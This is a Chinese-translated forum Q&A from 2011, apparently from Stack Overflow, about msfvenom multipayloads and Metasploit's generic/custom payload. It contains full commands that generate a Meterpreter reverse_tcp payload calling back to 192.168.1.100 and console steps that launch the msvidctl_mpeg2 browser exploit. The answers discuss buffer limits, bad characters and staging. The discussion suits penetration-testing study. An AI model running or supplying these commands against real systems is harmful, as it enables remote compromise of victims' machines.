带有multipayload的Metasploit通用/自定义有效负载

时间:2011-10-28 14:53:37

标签: security exploit payload metasploit

我使用msfvenom和自定义/通用有效负载一直在使用较新的MSF4(Framework:4.1.0-release.13988,Console:4.1.0-release.13581)multipayload支持,但似乎有关于有效载荷在编码和兼容性方面支持的信息。

基本上我正在研究如何关闭服务器端服务,然后让meterpreter监听它不再绑定的端口。 (该漏洞将在另一个端口进入)

基本上我使用msfvenom和msgbox和Meterpreter背靠背创建了一个multipayload,作为exe,raw和.rb。我已经尝试单独保留编码设置,并将其设置为无。 (请注意,自定义/通用有效负载.rb源说明只允许无编码)

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom  -p windows/messagebox -f raw -e generic/none EXITFUNC=thread > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=thread > test\msgterp.raw

我也尝试将EXITFUNC设置为“none”:

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom  -p windows/messagebox -f raw -e generic/none EXITFUNC=none > test\msgbox.raw
c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p windows/meterpreter/reverse_tcp -f raw -e generic/none -t test/msgbox.raw -k LHOST=192.168.1.100 EXITFUNC=none> test\msgterp.raw

然后我需要将原始multipayload写入通用/自定义有效负载可以使用的东西:(注意我已经尝试写入raw,exe,.rb格式)

c:\metasploit>ruby\bin\ruby.exe msf3\msfvenom -p - -f exe > msf.exe < test\\msgterp.raw

最后是时候尝试使用generic / custom进行multipayload了:(请注意,每次尝试设置和利用之前我都重新加载了漏洞利用程序)

msf > use exploit/windows/browser/msvidctl_mpeg2
msf  exploit(msvidctl_mpeg2) > set PAYLOAD generic/custom
PAYLOAD => generic/custom

msf  exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.raw
PAYLOADSTR => c:\metasploit\test\msf.raw
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADSTR c:\\metasploit\\test\\msf.exe
PAYLOADSTR => c:\metasploit\test\msf.exe
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.raw
PAYLOADFILE => c:\metasploit\test\msf.raw
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

msf  exploit(msvidctl_mpeg2) > set PAYLOADFILE c:\\metasploit\\test\\msf.exe
PAYLOADFILE => c:\metasploit\test\msf.exe
msf  exploit(msvidctl_mpeg2) > exploit

[-] Exploit failed: No encoders encoded the buffer successfully.

所以我找到了关于“无编码器编码...”错误应该是什么意思的解释。 (http://en.wikibooks.org/wiki/Metasploit/Frequently_Asked_Questions)我认为这是有效载荷的来源。

错误的原因是windows / msgbox有效负载,因为它没有暂存吗?或者是多重载荷没有上演?如果是后者,那么除非他们上演,否则我无法看到多重负载是如何工作的。组合2个有效载荷可能比单个有效载荷大。

有人可以至少解释一下应该与通用/有效载荷有效载荷兼容的编码和格式,以便我可以排除这种情况吗?我只发现了一些对multipayload支持的引用。

提前致谢!我承诺一旦我这样做就回复我的工作方式。

2 个答案:

答案 0 :(得分:1)

我认为在深入研究这样的事情之前,了解一些漏洞利用动态和经典内存损坏漏洞利用策略会对你有所帮助。

我可以建议The Art of Software Security AssessmentShellcoder's Handbook

也就是说,这就是正在发生的事情,当你在缓冲区溢出中“淹没”内存时,在你点击存储的堆栈框架之前,你有足够的空间用于你的漏洞利用。指令指针,MPEG2浏览器错误(你试图利用它)在堆栈上分配1024个字节,这也是你的有效负载的限制,它也被标准系列终止( \ x00 \ x09 \ x0a \ x0d ,分别是null char,stop,Carriage Return和Line Feed),它进一步限制了你不考虑这一点的任何shellcode。

然而,Metasploit非常聪明,它通常可以使用“安全”和可利用的指令来模拟一些指令,但是由于指令集,堆栈爆炸等的不一致,这并不总是可行的。当msfvenom的有效负载针对生成器运行时没有什么可以“奏效”,Metasploit会引发你的错误。

正如您所猜测的,这意味着您需要暂存您的shellcode(错误,我的意思是有效负载),良好的暂存有效负载通常可以被破坏并分布在多个内存位置,并且仍然具有弹性(或重复性)足以自动放置本身使用一种叫做蛋狩猎的技术回到了一起,如果我在你的鞋子里,我会使用通用的反向绑定 windows / meterpreter / reverse_tcp 然而,因为我不相信这个特定的利用混合了序数或这样的任何时髦。

最好的运气

答案 1 :(得分:1)

对于迟到的回答感到抱歉。

MSF 4.1中有关于msfvenom的错误,而不是通用/自定义有效负载。我生成的有效负载肯定小于允许的1024字节。这是一个致力于它的线程,其中HDM自己暗示这是一个错误:

https://community.rapid7.com/thread/1332

与msfvenom修复程序一起记录的错误案例:

http://dev.metasploit.com/redmine/issues/4714

我认为没有人使用多有效负载支持。不要被我之前使用msfvenom的笨拙混淆。当我发布这个问题时,我非常绝望,所以我把所有问题都包括在内,而不是编写shellcode。当HDM承认这是一个错误而我决定转向另一条路线时,我正试图学习如何编写二合一shellcode测试。 (我抓住了MSF Pro Trial并设置了一个VPN数据透视来解决我的多跳测试场景)

感谢您的回复。